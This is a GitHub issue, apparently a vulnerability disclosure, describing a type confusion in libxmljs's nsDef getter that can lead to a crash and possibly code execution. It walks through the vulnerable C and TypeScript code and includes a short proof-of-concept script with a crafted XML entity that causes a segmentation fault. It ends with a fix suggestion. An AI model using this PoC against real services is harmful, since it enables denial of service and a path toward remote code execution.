Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Type confusion in _wrap__xmlNode_nsDef_get leads to an RCE #646

Open
uriyay-jfrog opened this issue Nov 27, 2023 · 0 comments
Open

Type confusion in _wrap__xmlNode_nsDef_get leads to an RCE #646

uriyay-jfrog opened this issue Nov 27, 2023 · 0 comments

Comments

@uriyay-jfrog
Copy link

Summary

There is a type confusion in libxmljs when parsing a specially crafted XML while invoking the namespaces() function (which invokes _wrap__xmlNode_nsDef_get()) on a grand-child of a node that refers to an entity. This vulnerability can lead to denial of service and remote code execution.

Details

A type confusion exists in the SWIG generated function _wrap__xmlNode_nsDef_get():

static SwigV8ReturnValue _wrap__xmlNode_nsDef_get(v8::Local<v8::Name> property, const SwigV8PropertyCallbackInfo &info) {
  SWIGV8_HANDLESCOPE();
  
  SWIGV8_VALUE jsresult;
  _xmlNode *arg1 = (_xmlNode *) 0 ;
  int res1 ;
  void *arg10 ;
  xmlNs *result = 0 ;
  
  res1 = SWIG_ConvertPtr(info.Holder(), &arg10, SWIGTYPE_p__xmlNode, 0 | 0 );
  
  if (!SWIG_IsOK(res1)) {
    if (SWIG_IsOK(SWIG_ConvertPtr(info.Holder(), &arg10, SWIGTYPE_p__xmlDoc, 0 | 0))) {
      
    } else if (SWIG_IsOK(SWIG_ConvertPtr(info.Holder(), &arg10, SWIGTYPE_p__xmlAttr, 0 | 0))) {
      
    } else if (SWIG_IsOK(SWIG_ConvertPtr(info.Holder(), &arg10, SWIGTYPE_p__xmlDtd, 0 | 0))) {
      
    } else if (SWIG_IsOK(SWIG_ConvertPtr(info.Holder(), &arg10, SWIGTYPE_p__xmlElement, 0 | 0))) {
      
    } else {
      SWIG_exception_fail(SWIG_ArgError(res1), "in method '_xmlNode_nsDef_get', argument 1 of type '_xmlNode *'"); 
    }
  }
  
  arg1 = ((_xmlNode *) arg10);
  result = (xmlNs *)_xmlNode_nsDef_get(arg1); //<--
  jsresult = createWrapNs(result, SWIGTYPE_p__xmlNs);
  
  
  SWIGV8_RETURN_INFO(jsresult, info);
  
  goto fail;
fail:
  SWIGV8_RETURN_INFO(SWIGV8_UNDEFINED(), info);
}

This function is being called from namespaces() function if onlyLocal parameter is set to true:

/**
     * Get an array of namespaces that appy to the current node
     *
     * @param onlyLocal whether to include inherited namespaces
     * @returns {XMLNamespace[]} an array of namespaces for the current node
     */
    public namespaces(onlyLocal: boolean = false) {
        const namespaces: XMLNamespace[] = [];

        const _ref = this.getNativeReference();

        if (onlyLocal === true) {
            let namespace = _ref.nsDef;

            while (namespace !== null) {
                namespaces.push(createXMLReferenceOrThrow(XMLNamespace, namespace, XMLNodeError.NO_REF));

                namespace = namespace.next;
            }
        } else {
            xmlGetNsList(_ref.doc, _ref).forEach((namespace) => {
                namespaces.push(createXMLReferenceOrThrow(XMLNamespace, namespace, XMLNodeError.NO_REF));
            });
        }

        return namespaces;
    }

In 32-bit system, the field “nsDef” of xmlNode has the same offset as the field “etype” of xmlEntity, which is a number between 1 to 6.

But in a 64-bit system, the field “nsDef” of xmlNode has the same offset as the field “ExternalID” of xmlEntity.
The entity syntax is defined as:

<!ENTITY [%] name [SYSTEM|PUBLIC publicID] resource [NDATA notation] >

Passing a PUBLIC clause with publicID will eventually cause nsDef to point to the publicID string.
Next, createWrapNs() will be called with ns points to the publicID string:

SWIGV8_VALUE createWrapNs(xmlNs* ns, swig_type_info* info) {
        // printf("createWrapNs %i, mem: %i\n", ns, xml_memory_used);

        Nan::EscapableHandleScope scope;

        if (ns == NULL) {
            v8::Local<v8::Primitive> result = SWIGV8_NULL();
            return scope.Escape(result);
        }

        SWIGV8_Proxy* wrap = (SWIGV8_Proxy*) ns->_private;

        if (wrap == NULL || wrap->handle.IsEmpty()) {
            SWIGV8_VALUE value = SWIG_NewPointerObj((void*) ns, info, SWIG_POINTER_OWN);

            SWIGV8_OBJECT object = SWIGV8_TO_OBJECT(value);

            wrap = getSwigProxy(object);
            
            if ((ns->context) && (ns->context->_private != NULL)) {
                wrap->doc = ns->context;
                getXmlNodePrivate((xmlNode*) wrap->doc)->Ref();
            }

            ns->_private = wrap;
        }

        assert(!wrap->handle.IsEmpty());

        return scope.Escape(Nan::New(wrap->handle));
    }

Causing that ns->_private is controllable (as long as it is a printable string). Which makes the handle pointer controllable by an attacker which can later execute code when one of the functions of the namespace are being called.

PoC

Write the following into DoS.js:

const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

Run it with the following command:

$ node DoS.js
Segmentation fault

Impact

This vulnerability leads to an RCE, data leak and DoS on 64-bit systems, and DoS on 32-bit systems.

Fix suggestion

_wrap__xmlNode_nsDef_get() should verify that arg10 is an xmlNode.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant